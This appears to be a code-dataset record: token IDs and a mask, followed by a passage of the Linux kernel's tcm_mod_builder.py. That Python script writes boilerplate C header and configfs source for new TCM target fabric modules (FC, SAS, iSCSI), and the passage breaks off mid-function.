[ 747, 199, 199, 646, 4613, 199, 504, 1683, 492, 10079, 199, 199, 504, 6394, 30821, 63, 8625, 14, 1095, 14, 2550, 492, 2670, 1726, 199, 504, 6394, 30821, 63, 8625, 14, 18975, 273, 7130, 492, 491, 2056, 273, 7130, 1799, 199, 199, 5293, 275, 747, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 4832, 3460, 493, 8964, 421, 199, 318, 1683, 63, 362, 63, 18975, 273, 7130, 63, 3070, 8, 1760, 12, 634, 2587, 12, 295, 29, 797, 304, 272, 340, 298, 2859, 2, 440, 315, 2088, 59, 17, 2189, 267, 372, 4873, 298, 705, 401, 413, 272, 916, 298, 5188, 2, 315, 2088, 59, 17, 2189, 267, 543, 1551, 8, 736, 14, 515, 14, 904, 8, 5293, 12, 283, 18975, 273, 7130, 63, 2694, 63, 3197, 63, 1310, 14, 1001, 659, 283, 82, 358, 465, 289, 26, 288, 372, 289, 14, 739, 1062, 4873, 378, 272, 587, 26, 267, 327, 2893, 1212, 3561, 273, 7130, 3622, 2022, 367, 4178, 921, 4757, 14, 4616, 30821, 21550, 14, 957, 267, 543, 1551, 8, 736, 14, 515, 14, 904, 8, 5293, 12, 283, 18975, 273, 7130, 63, 2694, 63, 1078, 63, 1310, 14, 1001, 659, 283, 82, 358, 465, 289, 26, 288, 372, 289, 14, 739, 1062, 4873, 378, 421, 199, 32, 4462, 14, 1657, 14, 15092, 199, 318, 511, 63, 1074, 8, 27562, 12, 1256, 304, 272, 1256, 275, 791, 633, 356, 283, 2859, 921, 1544, 14, 3098, 14, 957, 297, 283, 354, 356, 283, 3098, 936, 272, 1212, 3561, 273, 7130, 63, 1074, 275, 491, 2056, 273, 7130, 1799, 360, 18975, 273, 7130, 297, 5479, 5009, 272, 491, 2056, 273, 7130, 1799, 423, 362, 63, 18975, 273, 7130, 63, 3070, 275, 10079, 8, 2441, 63, 5881, 29, 1805, 63, 362, 63, 18975, 273, 7130, 63, 3070, 9, 339, 1212, 3561, 273, 7130, 63, 1074, 14, 1074, 8, 842, 9, 339, 3762, 275, 942, 272, 3762, 14, 740, 480, 633, 14534, 16, 5469, 908, 8, 842, 905, 633, 13045, 272, 3762, 14, 740, 480, 354, 14534, 16, 5469, 908, 8, 842, 905, 354, 13045, 339, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 645, 823, 4783, 401, 574, 29, 1184, 12, 3762, 29, 2969, 9, 272, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 7010, 63, 80, 6457, 7724, 401, 574, 29, 1965, 12, 3762, 29, 2969, 9, 272, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 20576, 401, 574, 29, 1342, 12, 3762, 29, 2969, 9, 272, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 80, 758, 401, 574, 29, 2010, 12, 3762, 29, 2969, 9, 272, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 261, 79, 401, 574, 29, 2710, 12, 3762, 29, 2969, 9, 339, 10454, 707, 14, 479, 63, 452, 63, 6759, 63, 13560, 342, 421, 199, 32, 4462, 14, 1657, 14, 15092, 199, 318, 511, 63, 4752, 63, 633, 63, 842, 63, 1074, 8, 27562, 12, 1256, 304, 272, 327, 17110, 1256, 315, 8864, 4124, 1166, 272, 17110, 63, 842, 275, 791, 354, 356, 283, 4616, 30821, 21550, 936, 272, 1212, 3561, 273, 7130, 63, 1074, 275, 491, 2056, 273, 7130, 1799, 360, 18975, 273, 7130, 297, 5479, 5009, 272, 491, 2056, 273, 7130, 1799, 423, 362, 63, 18975, 273, 7130, 63, 3070, 275, 10079, 8, 2441, 63, 5881, 29, 1805, 63, 362, 63, 18975, 273, 7130, 63, 3070, 9, 339, 543, 4613, 14, 3536, 8, 1799, 1726, 304, 267, 1212, 3561, 273, 7130, 63, 1074, 14, 1074, 8, 24575, 63, 842, 9, 421, 199, 32, 4462, 14, 1657, 14, 15092, 199, 318, 511, 63, 4752, 63, 354, 63, 842, 63, 1074, 8, 27562, 12, 1256, 304, 272, 327, 17110, 1256, 315, 8864, 4124, 536, 272, 17110, 63, 842, 275, 791, 633, 356, 283, 2859, 921, 1544, 14, 4616, 30821, 21550, 14, 957, 936, 272, 1212, 3561, 273, 7130, 63, 1074, 275, 491, 2056, 273, 7130, 1799, 360, 18975, 273, 7130, 297, 5479, 5009, 272, 491, 2056, 273, 7130, 1799, 423, 362, 63, 18975, 273, 7130, 63, 3070, 275, 10079, 8, 2441, 63, 5881, 29, 1805, 63, 362, 63, 18975, 273, 7130, 63, 3070, 9, 339, 543, 4613, 14, 3536, 8, 1799, 1726, 304, 267, 1212, 3561, 273, 7130, 63, 1074, 14, 1074, 8, 24575, 63, 842, 9, 421, 199, 318, 511, 63, 31029, 63, 633, 63, 842, 63, 1074, 8, 27562, 12, 1256, 304, 272, 327, 2893, 24159, 1166, 272, 24159, 63, 842, 275, 791, 633, 356, 283, 517, 80, 921, 1544, 14, 4616, 30821, 21550, 14, 957, 90, 297, 283, 354, 356, 283, 31029, 63, 633, 936, 272, 1212, 3561, 273, 7130, 63, 1074, 275, 491, 2056, 273, 7130, 1799, 360, 18975, 273, 7130, 297, 5479, 5009, 272, 491, 2056, 273, 7130, 1799, 423, 362, 63, 18975, 273, 7130, 63, 3070, 275, 10079, 8, 2441, 63, 5881, 29, 1805, 63, 362, 63, 18975, 273, 7130, 63, 3070, 9, 339, 543, 4613, 14, 3536, 8, 1799, 1726, 304, 267, 1212, 3561, 273, 7130, 63, 1074, 14, 1074, 8, 31029, 63, 842, 9, 421, 199, 318, 511, 63, 3197, 63, 1310, 63, 1074, 8, 27562, 12, 1256, 304, 272, 327, 376, 2893, 7901, 1177, 12, 911, 3372, 1104, 1325, 440, 7978, 1125, 272, 1256, 275, 791, 633, 356, 283, 2859, 921, 1014, 3736, 14, 527, 15, 5188, 297, 283, 354, 356, 283, 5188, 1177, 936, 339, 1212, 3561, 273, 7130, 63, 1074, 275, 491, 2056, 273, 7130, 1799, 360, 18975, 273, 7130, 297, 5479, 5009, 272, 491, 2056, 273, 7130, 1799, 423, 362, 63, 18975, 273, 7130, 63, 3070, 275, 10079, 8, 2441, 63, 5881, 29, 1805, 63, 362, 63, 18975, 273, 7130, 63, 3070, 9, 339, 1212, 3561, 273, 7130, 63, 1074, 14, 1074, 8, 842, 9, 339, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 645, 823, 4783, 401, 2338, 29, 16, 12, 737, 63, 11790, 29, 16, 9, 272, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 7010, 63, 80, 6457, 7724, 401, 2338, 29, 16, 12, 737, 63, 11790, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
yinquan529/pandaboard
Documentation/target/tcm_mod_builder.py
3119
42754
#!/usr/bin/python # The TCM v4 multi-protocol fabric module generation script for drivers/target/$NEW_MOD # # Copyright (c) 2010 Rising Tide Systems # Copyright (c) 2010 Linux-iSCSI.org # # Author: nab@kernel.org # import os, sys import subprocess as sub import string import re import optparse tcm_dir = "" fabric_ops = [] fabric_mod_dir = "" fabric_mod_port = "" fabric_mod_init_port = "" def tcm_mod_err(msg): print msg sys.exit(1) def tcm_mod_create_module_subdir(fabric_mod_dir_var): if os.path.isdir(fabric_mod_dir_var) == True: return 1 print "Creating fabric_mod_dir: " + fabric_mod_dir_var ret = os.mkdir(fabric_mod_dir_var) if ret: tcm_mod_err("Unable to mkdir " + fabric_mod_dir_var) return def tcm_mod_build_FC_include(fabric_mod_dir_var, fabric_mod_name): global fabric_mod_port global fabric_mod_init_port buf = "" f = fabric_mod_dir_var + "/" + fabric_mod_name + "_base.h" print "Writing file: " + f p = open(f, 'w'); if not p: tcm_mod_err("Unable to open file: " + f) buf = "#define " + fabric_mod_name.upper() + "_VERSION \"v0.1\"\n" buf += "#define " + fabric_mod_name.upper() + "_NAMELEN 32\n" buf += "\n" buf += "struct " + fabric_mod_name + "_nacl {\n" buf += " /* Binary World Wide unique Port Name for FC Initiator Nport */\n" buf += " u64 nport_wwpn;\n" buf += " /* ASCII formatted WWPN for FC Initiator Nport */\n" buf += " char nport_name[" + fabric_mod_name.upper() + "_NAMELEN];\n" buf += " /* Returned by " + fabric_mod_name + "_make_nodeacl() */\n" buf += " struct se_node_acl se_node_acl;\n" buf += "};\n" buf += "\n" buf += "struct " + fabric_mod_name + "_tpg {\n" buf += " /* FC lport target portal group tag for TCM */\n" buf += " u16 lport_tpgt;\n" buf += " /* Pointer back to " + fabric_mod_name + "_lport */\n" buf += " struct " + fabric_mod_name + "_lport *lport;\n" buf += " /* Returned by " + fabric_mod_name + "_make_tpg() */\n" buf += " struct se_portal_group se_tpg;\n" buf += "};\n" buf += "\n" buf += "struct " + fabric_mod_name + "_lport {\n" buf += " /* SCSI protocol the lport is providing */\n" buf += " u8 lport_proto_id;\n" buf += " /* Binary World Wide unique Port Name for FC Target Lport */\n" buf += " u64 lport_wwpn;\n" buf += " /* ASCII formatted WWPN for FC Target Lport */\n" buf += " char lport_name[" + fabric_mod_name.upper() + "_NAMELEN];\n" buf += " /* Returned by " + fabric_mod_name + "_make_lport() */\n" buf += " struct se_wwn lport_wwn;\n" buf += "};\n" ret = p.write(buf) if ret: tcm_mod_err("Unable to write f: " + f) p.close() fabric_mod_port = "lport" fabric_mod_init_port = "nport" return def tcm_mod_build_SAS_include(fabric_mod_dir_var, fabric_mod_name): global fabric_mod_port global fabric_mod_init_port buf = "" f = fabric_mod_dir_var + "/" + fabric_mod_name + "_base.h" print "Writing file: " + f p = open(f, 'w'); if not p: tcm_mod_err("Unable to open file: " + f) buf = "#define " + fabric_mod_name.upper() + "_VERSION \"v0.1\"\n" buf += "#define " + fabric_mod_name.upper() + "_NAMELEN 32\n" buf += "\n" buf += "struct " + fabric_mod_name + "_nacl {\n" buf += " /* Binary World Wide unique Port Name for SAS Initiator port */\n" buf += " u64 iport_wwpn;\n" buf += " /* ASCII formatted WWPN for Sas Initiator port */\n" buf += " char iport_name[" + fabric_mod_name.upper() + "_NAMELEN];\n" buf += " /* Returned by " + fabric_mod_name + "_make_nodeacl() */\n" buf += " struct se_node_acl se_node_acl;\n" buf += "};\n\n" buf += "struct " + fabric_mod_name + "_tpg {\n" buf += " /* SAS port target portal group tag for TCM */\n" buf += " u16 tport_tpgt;\n" buf += " /* Pointer back to " + fabric_mod_name + "_tport */\n" buf += " struct " + fabric_mod_name + "_tport *tport;\n" buf += " /* Returned by " + fabric_mod_name + "_make_tpg() */\n" buf += " struct se_portal_group se_tpg;\n" buf += "};\n\n" buf += "struct " + fabric_mod_name + "_tport {\n" buf += " /* SCSI protocol the tport is providing */\n" buf += " u8 tport_proto_id;\n" buf += " /* Binary World Wide unique Port Name for SAS Target port */\n" buf += " u64 tport_wwpn;\n" buf += " /* ASCII formatted WWPN for SAS Target port */\n" buf += " char tport_name[" + fabric_mod_name.upper() + "_NAMELEN];\n" buf += " /* Returned by " + fabric_mod_name + "_make_tport() */\n" buf += " struct se_wwn tport_wwn;\n" buf += "};\n" ret = p.write(buf) if ret: tcm_mod_err("Unable to write f: " + f) p.close() fabric_mod_port = "tport" fabric_mod_init_port = "iport" return def tcm_mod_build_iSCSI_include(fabric_mod_dir_var, fabric_mod_name): global fabric_mod_port global fabric_mod_init_port buf = "" f = fabric_mod_dir_var + "/" + fabric_mod_name + "_base.h" print "Writing file: " + f p = open(f, 'w'); if not p: tcm_mod_err("Unable to open file: " + f) buf = "#define " + fabric_mod_name.upper() + "_VERSION \"v0.1\"\n" buf += "#define " + fabric_mod_name.upper() + "_NAMELEN 32\n" buf += "\n" buf += "struct " + fabric_mod_name + "_nacl {\n" buf += " /* ASCII formatted InitiatorName */\n" buf += " char iport_name[" + fabric_mod_name.upper() + "_NAMELEN];\n" buf += " /* Returned by " + fabric_mod_name + "_make_nodeacl() */\n" buf += " struct se_node_acl se_node_acl;\n" buf += "};\n\n" buf += "struct " + fabric_mod_name + "_tpg {\n" buf += " /* iSCSI target portal group tag for TCM */\n" buf += " u16 tport_tpgt;\n" buf += " /* Pointer back to " + fabric_mod_name + "_tport */\n" buf += " struct " + fabric_mod_name + "_tport *tport;\n" buf += " /* Returned by " + fabric_mod_name + "_make_tpg() */\n" buf += " struct se_portal_group se_tpg;\n" buf += "};\n\n" buf += "struct " + fabric_mod_name + "_tport {\n" buf += " /* SCSI protocol the tport is providing */\n" buf += " u8 tport_proto_id;\n" buf += " /* ASCII formatted TargetName for IQN */\n" buf += " char tport_name[" + fabric_mod_name.upper() + "_NAMELEN];\n" buf += " /* Returned by " + fabric_mod_name + "_make_tport() */\n" buf += " struct se_wwn tport_wwn;\n" buf += "};\n" ret = p.write(buf) if ret: tcm_mod_err("Unable to write f: " + f) p.close() fabric_mod_port = "tport" fabric_mod_init_port = "iport" return def tcm_mod_build_base_includes(proto_ident, fabric_mod_dir_val, fabric_mod_name): if proto_ident == "FC": tcm_mod_build_FC_include(fabric_mod_dir_val, fabric_mod_name) elif proto_ident == "SAS": tcm_mod_build_SAS_include(fabric_mod_dir_val, fabric_mod_name) elif proto_ident == "iSCSI": tcm_mod_build_iSCSI_include(fabric_mod_dir_val, fabric_mod_name) else: print "Unsupported proto_ident: " + proto_ident sys.exit(1) return def tcm_mod_build_configfs(proto_ident, fabric_mod_dir_var, fabric_mod_name): buf = "" f = fabric_mod_dir_var + "/" + fabric_mod_name + "_configfs.c" print "Writing file: " + f p = open(f, 'w'); if not p: tcm_mod_err("Unable to open file: " + f) buf = "#include <linux/module.h>\n" buf += "#include <linux/moduleparam.h>\n" buf += "#include <linux/version.h>\n" buf += "#include <generated/utsrelease.h>\n" buf += "#include <linux/utsname.h>\n" buf += "#include <linux/init.h>\n" buf += "#include <linux/slab.h>\n" buf += "#include <linux/kthread.h>\n" buf += "#include <linux/types.h>\n" buf += "#include <linux/string.h>\n" buf += "#include <linux/configfs.h>\n" buf += "#include <linux/ctype.h>\n" buf += "#include <asm/unaligned.h>\n\n" buf += "#include <target/target_core_base.h>\n" buf += "#include <target/target_core_transport.h>\n" buf += "#include <target/target_core_fabric_ops.h>\n" buf += "#include <target/target_core_fabric_configfs.h>\n" buf += "#include <target/target_core_fabric_lib.h>\n" buf += "#include <target/target_core_device.h>\n" buf += "#include <target/target_core_tpg.h>\n" buf += "#include <target/target_core_configfs.h>\n" buf += "#include <target/target_core_base.h>\n" buf += "#include <target/configfs_macros.h>\n\n" buf += "#include \"" + fabric_mod_name + "_base.h\"\n" buf += "#include \"" + fabric_mod_name + "_fabric.h\"\n\n" buf += "/* Local pointer to allocated TCM configfs fabric module */\n" buf += "struct target_fabric_configfs *" + fabric_mod_name + "_fabric_configfs;\n\n" buf += "static struct se_node_acl *" + fabric_mod_name + "_make_nodeacl(\n" buf += " struct se_portal_group *se_tpg,\n" buf += " struct config_group *group,\n" buf += " const char *name)\n" buf += "{\n" buf += " struct se_node_acl *se_nacl, *se_nacl_new;\n" buf += " struct " + fabric_mod_name + "_nacl *nacl;\n" if proto_ident == "FC" or proto_ident == "SAS": buf += " u64 wwpn = 0;\n" buf += " u32 nexus_depth;\n\n" buf += " /* " + fabric_mod_name + "_parse_wwn(name, &wwpn, 1) < 0)\n" buf += " return ERR_PTR(-EINVAL); */\n" buf += " se_nacl_new = " + fabric_mod_name + "_alloc_fabric_acl(se_tpg);\n" buf += " if (!(se_nacl_new))\n" buf += " return ERR_PTR(-ENOMEM);\n" buf += "//#warning FIXME: Hardcoded nexus depth in " + fabric_mod_name + "_make_nodeacl()\n" buf += " nexus_depth = 1;\n" buf += " /*\n" buf += " * se_nacl_new may be released by core_tpg_add_initiator_node_acl()\n" buf += " * when converting a NodeACL from demo mode -> explict\n" buf += " */\n" buf += " se_nacl = core_tpg_add_initiator_node_acl(se_tpg, se_nacl_new,\n" buf += " name, nexus_depth);\n" buf += " if (IS_ERR(se_nacl)) {\n" buf += " " + fabric_mod_name + "_release_fabric_acl(se_tpg, se_nacl_new);\n" buf += " return se_nacl;\n" buf += " }\n" buf += " /*\n" buf += " * Locate our struct " + fabric_mod_name + "_nacl and set the FC Nport WWPN\n" buf += " */\n" buf += " nacl = container_of(se_nacl, struct " + fabric_mod_name + "_nacl, se_node_acl);\n" if proto_ident == "FC" or proto_ident == "SAS": buf += " nacl->" + fabric_mod_init_port + "_wwpn = wwpn;\n" buf += " /* " + fabric_mod_name + "_format_wwn(&nacl->" + fabric_mod_init_port + "_name[0], " + fabric_mod_name.upper() + "_NAMELEN, wwpn); */\n\n" buf += " return se_nacl;\n" buf += "}\n\n" buf += "static void " + fabric_mod_name + "_drop_nodeacl(struct se_node_acl *se_acl)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_nacl *nacl = container_of(se_acl,\n" buf += " struct " + fabric_mod_name + "_nacl, se_node_acl);\n" buf += " core_tpg_del_initiator_node_acl(se_acl->se_tpg, se_acl, 1);\n" buf += " kfree(nacl);\n" buf += "}\n\n" buf += "static struct se_portal_group *" + fabric_mod_name + "_make_tpg(\n" buf += " struct se_wwn *wwn,\n" buf += " struct config_group *group,\n" buf += " const char *name)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_" + fabric_mod_port + "*" + fabric_mod_port + " = container_of(wwn,\n" buf += " struct " + fabric_mod_name + "_" + fabric_mod_port + ", " + fabric_mod_port + "_wwn);\n\n" buf += " struct " + fabric_mod_name + "_tpg *tpg;\n" buf += " unsigned long tpgt;\n" buf += " int ret;\n\n" buf += " if (strstr(name, \"tpgt_\") != name)\n" buf += " return ERR_PTR(-EINVAL);\n" buf += " if (strict_strtoul(name + 5, 10, &tpgt) || tpgt > UINT_MAX)\n" buf += " return ERR_PTR(-EINVAL);\n\n" buf += " tpg = kzalloc(sizeof(struct " + fabric_mod_name + "_tpg), GFP_KERNEL);\n" buf += " if (!(tpg)) {\n" buf += " printk(KERN_ERR \"Unable to allocate struct " + fabric_mod_name + "_tpg\");\n" buf += " return ERR_PTR(-ENOMEM);\n" buf += " }\n" buf += " tpg->" + fabric_mod_port + " = " + fabric_mod_port + ";\n" buf += " tpg->" + fabric_mod_port + "_tpgt = tpgt;\n\n" buf += " ret = core_tpg_register(&" + fabric_mod_name + "_fabric_configfs->tf_ops, wwn,\n" buf += " &tpg->se_tpg, (void *)tpg,\n" buf += " TRANSPORT_TPG_TYPE_NORMAL);\n" buf += " if (ret < 0) {\n" buf += " kfree(tpg);\n" buf += " return NULL;\n" buf += " }\n" buf += " return &tpg->se_tpg;\n" buf += "}\n\n" buf += "static void " + fabric_mod_name + "_drop_tpg(struct se_portal_group *se_tpg)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_tpg *tpg = container_of(se_tpg,\n" buf += " struct " + fabric_mod_name + "_tpg, se_tpg);\n\n" buf += " core_tpg_deregister(se_tpg);\n" buf += " kfree(tpg);\n" buf += "}\n\n" buf += "static struct se_wwn *" + fabric_mod_name + "_make_" + fabric_mod_port + "(\n" buf += " struct target_fabric_configfs *tf,\n" buf += " struct config_group *group,\n" buf += " const char *name)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_" + fabric_mod_port + " *" + fabric_mod_port + ";\n" if proto_ident == "FC" or proto_ident == "SAS": buf += " u64 wwpn = 0;\n\n" buf += " /* if (" + fabric_mod_name + "_parse_wwn(name, &wwpn, 1) < 0)\n" buf += " return ERR_PTR(-EINVAL); */\n\n" buf += " " + fabric_mod_port + " = kzalloc(sizeof(struct " + fabric_mod_name + "_" + fabric_mod_port + "), GFP_KERNEL);\n" buf += " if (!(" + fabric_mod_port + ")) {\n" buf += " printk(KERN_ERR \"Unable to allocate struct " + fabric_mod_name + "_" + fabric_mod_port + "\");\n" buf += " return ERR_PTR(-ENOMEM);\n" buf += " }\n" if proto_ident == "FC" or proto_ident == "SAS": buf += " " + fabric_mod_port + "->" + fabric_mod_port + "_wwpn = wwpn;\n" buf += " /* " + fabric_mod_name + "_format_wwn(&" + fabric_mod_port + "->" + fabric_mod_port + "_name[0], " + fabric_mod_name.upper() + "__NAMELEN, wwpn); */\n\n" buf += " return &" + fabric_mod_port + "->" + fabric_mod_port + "_wwn;\n" buf += "}\n\n" buf += "static void " + fabric_mod_name + "_drop_" + fabric_mod_port + "(struct se_wwn *wwn)\n" buf += "{\n" buf += " struct " + fabric_mod_name + "_" + fabric_mod_port + " *" + fabric_mod_port + " = container_of(wwn,\n" buf += " struct " + fabric_mod_name + "_" + fabric_mod_port + ", " + fabric_mod_port + "_wwn);\n" buf += " kfree(" + fabric_mod_port + ");\n" buf += "}\n\n" buf += "static ssize_t " + fabric_mod_name + "_wwn_show_attr_version(\n" buf += " struct target_fabric_configfs *tf,\n" buf += " char *page)\n" buf += "{\n" buf += " return sprintf(page, \"" + fabric_mod_name.upper() + " fabric module %s on %s/%s\"\n" buf += " \"on \"UTS_RELEASE\"\\n\", " + fabric_mod_name.upper() + "_VERSION, utsname()->sysname,\n" buf += " utsname()->machine);\n" buf += "}\n\n" buf += "TF_WWN_ATTR_RO(" + fabric_mod_name + ", version);\n\n" buf += "static struct configfs_attribute *" + fabric_mod_name + "_wwn_attrs[] = {\n" buf += " &" + fabric_mod_name + "_wwn_version.attr,\n" buf += " NULL,\n" buf += "};\n\n" buf += "static struct target_core_fabric_ops " + fabric_mod_name + "_ops = {\n" buf += " .get_fabric_name = " + fabric_mod_name + "_get_fabric_name,\n" buf += " .get_fabric_proto_ident = " + fabric_mod_name + "_get_fabric_proto_ident,\n" buf += " .tpg_get_wwn = " + fabric_mod_name + "_get_fabric_wwn,\n" buf += " .tpg_get_tag = " + fabric_mod_name + "_get_tag,\n" buf += " .tpg_get_default_depth = " + fabric_mod_name + "_get_default_depth,\n" buf += " .tpg_get_pr_transport_id = " + fabric_mod_name + "_get_pr_transport_id,\n" buf += " .tpg_get_pr_transport_id_len = " + fabric_mod_name + "_get_pr_transport_id_len,\n" buf += " .tpg_parse_pr_out_transport_id = " + fabric_mod_name + "_parse_pr_out_transport_id,\n" buf += " .tpg_check_demo_mode = " + fabric_mod_name + "_check_false,\n" buf += " .tpg_check_demo_mode_cache = " + fabric_mod_name + "_check_true,\n" buf += " .tpg_check_demo_mode_write_protect = " + fabric_mod_name + "_check_true,\n" buf += " .tpg_check_prod_mode_write_protect = " + fabric_mod_name + "_check_false,\n" buf += " .tpg_alloc_fabric_acl = " + fabric_mod_name + "_alloc_fabric_acl,\n" buf += " .tpg_release_fabric_acl = " + fabric_mod_name + "_release_fabric_acl,\n" buf += " .tpg_get_inst_index = " + fabric_mod_name + "_tpg_get_inst_index,\n" buf += " .release_cmd_to_pool = " + fabric_mod_name + "_release_cmd,\n" buf += " .release_cmd_direct = " + fabric_mod_name + "_release_cmd,\n" buf += " .shutdown_session = " + fabric_mod_name + "_shutdown_session,\n" buf += " .close_session = " + fabric_mod_name + "_close_session,\n" buf += " .stop_session = " + fabric_mod_name + "_stop_session,\n" buf += " .fall_back_to_erl0 = " + fabric_mod_name + "_reset_nexus,\n" buf += " .sess_logged_in = " + fabric_mod_name + "_sess_logged_in,\n" buf += " .sess_get_index = " + fabric_mod_name + "_sess_get_index,\n" buf += " .sess_get_initiator_sid = NULL,\n" buf += " .write_pending = " + fabric_mod_name + "_write_pending,\n" buf += " .write_pending_status = " + fabric_mod_name + "_write_pending_status,\n" buf += " .set_default_node_attributes = " + fabric_mod_name + "_set_default_node_attrs,\n" buf += " .get_task_tag = " + fabric_mod_name + "_get_task_tag,\n" buf += " .get_cmd_state = " + fabric_mod_name + "_get_cmd_state,\n" buf += " .new_cmd_failure = " + fabric_mod_name + "_new_cmd_failure,\n" buf += " .queue_data_in = " + fabric_mod_name + "_queue_data_in,\n" buf += " .queue_status = " + fabric_mod_name + "_queue_status,\n" buf += " .queue_tm_rsp = " + fabric_mod_name + "_queue_tm_rsp,\n" buf += " .get_fabric_sense_len = " + fabric_mod_name + "_get_fabric_sense_len,\n" buf += " .set_fabric_sense_len = " + fabric_mod_name + "_set_fabric_sense_len,\n" buf += " .is_state_remove = " + fabric_mod_name + "_is_state_remove,\n" buf += " .pack_lun = " + fabric_mod_name + "_pack_lun,\n" buf += " /*\n" buf += " * Setup function pointers for generic logic in target_core_fabric_configfs.c\n" buf += " */\n" buf += " .fabric_make_wwn = " + fabric_mod_name + "_make_" + fabric_mod_port + ",\n" buf += " .fabric_drop_wwn = " + fabric_mod_name + "_drop_" + fabric_mod_port + ",\n" buf += " .fabric_make_tpg = " + fabric_mod_name + "_make_tpg,\n" buf += " .fabric_drop_tpg = " + fabric_mod_name + "_drop_tpg,\n" buf += " .fabric_post_link = NULL,\n" buf += " .fabric_pre_unlink = NULL,\n" buf += " .fabric_make_np = NULL,\n" buf += " .fabric_drop_np = NULL,\n" buf += " .fabric_make_nodeacl = " + fabric_mod_name + "_make_nodeacl,\n" buf += " .fabric_drop_nodeacl = " + fabric_mod_name + "_drop_nodeacl,\n" buf += "};\n\n" buf += "static int " + fabric_mod_name + "_register_configfs(void)\n" buf += "{\n" buf += " struct target_fabric_configfs *fabric;\n" buf += " int ret;\n\n" buf += " printk(KERN_INFO \"" + fabric_mod_name.upper() + " fabric module %s on %s/%s\"\n" buf += " \" on \"UTS_RELEASE\"\\n\"," + fabric_mod_name.upper() + "_VERSION, utsname()->sysname,\n" buf += " utsname()->machine);\n" buf += " /*\n" buf += " * Register the top level struct config_item_type with TCM core\n" buf += " */\n" buf += " fabric = target_fabric_configfs_init(THIS_MODULE, \"" + fabric_mod_name[4:] + "\");\n" buf += " if (!(fabric)) {\n" buf += " printk(KERN_ERR \"target_fabric_configfs_init() failed\\n\");\n" buf += " return -ENOMEM;\n" buf += " }\n" buf += " /*\n" buf += " * Setup fabric->tf_ops from our local " + fabric_mod_name + "_ops\n" buf += " */\n" buf += " fabric->tf_ops = " + fabric_mod_name + "_ops;\n" buf += " /*\n" buf += " * Setup default attribute lists for various fabric->tf_cit_tmpl\n" buf += " */\n" buf += " TF_CIT_TMPL(fabric)->tfc_wwn_cit.ct_attrs = " + fabric_mod_name + "_wwn_attrs;\n" buf += " TF_CIT_TMPL(fabric)->tfc_tpg_base_cit.ct_attrs = NULL;\n" buf += " TF_CIT_TMPL(fabric)->tfc_tpg_attrib_cit.ct_attrs = NULL;\n" buf += " TF_CIT_TMPL(fabric)->tfc_tpg_param_cit.ct_attrs = NULL;\n" buf += " TF_CIT_TMPL(fabric)->tfc_tpg_np_base_cit.ct_attrs = NULL;\n" buf += " TF_CIT_TMPL(fabric)->tfc_tpg_nacl_base_cit.ct_attrs = NULL;\n" buf += " TF_CIT_TMPL(fabric)->tfc_tpg_nacl_attrib_cit.ct_attrs = NULL;\n" buf += " TF_CIT_TMPL(fabric)->tfc_tpg_nacl_auth_cit.ct_attrs = NULL;\n" buf += " TF_CIT_TMPL(fabric)->tfc_tpg_nacl_param_cit.ct_attrs = NULL;\n" buf += " /*\n" buf += " * Register the fabric for use within TCM\n" buf += " */\n" buf += " ret = target_fabric_configfs_register(fabric);\n" buf += " if (ret < 0) {\n" buf += " printk(KERN_ERR \"target_fabric_configfs_register() failed\"\n" buf += " \" for " + fabric_mod_name.upper() + "\\n\");\n" buf += " return ret;\n" buf += " }\n" buf += " /*\n" buf += " * Setup our local pointer to *fabric\n" buf += " */\n" buf += " " + fabric_mod_name + "_fabric_configfs = fabric;\n" buf += " printk(KERN_INFO \"" + fabric_mod_name.upper() + "[0] - Set fabric -> " + fabric_mod_name + "_fabric_configfs\\n\");\n" buf += " return 0;\n" buf += "};\n\n" buf += "static void " + fabric_mod_name + "_deregister_configfs(void)\n" buf += "{\n" buf += " if (!(" + 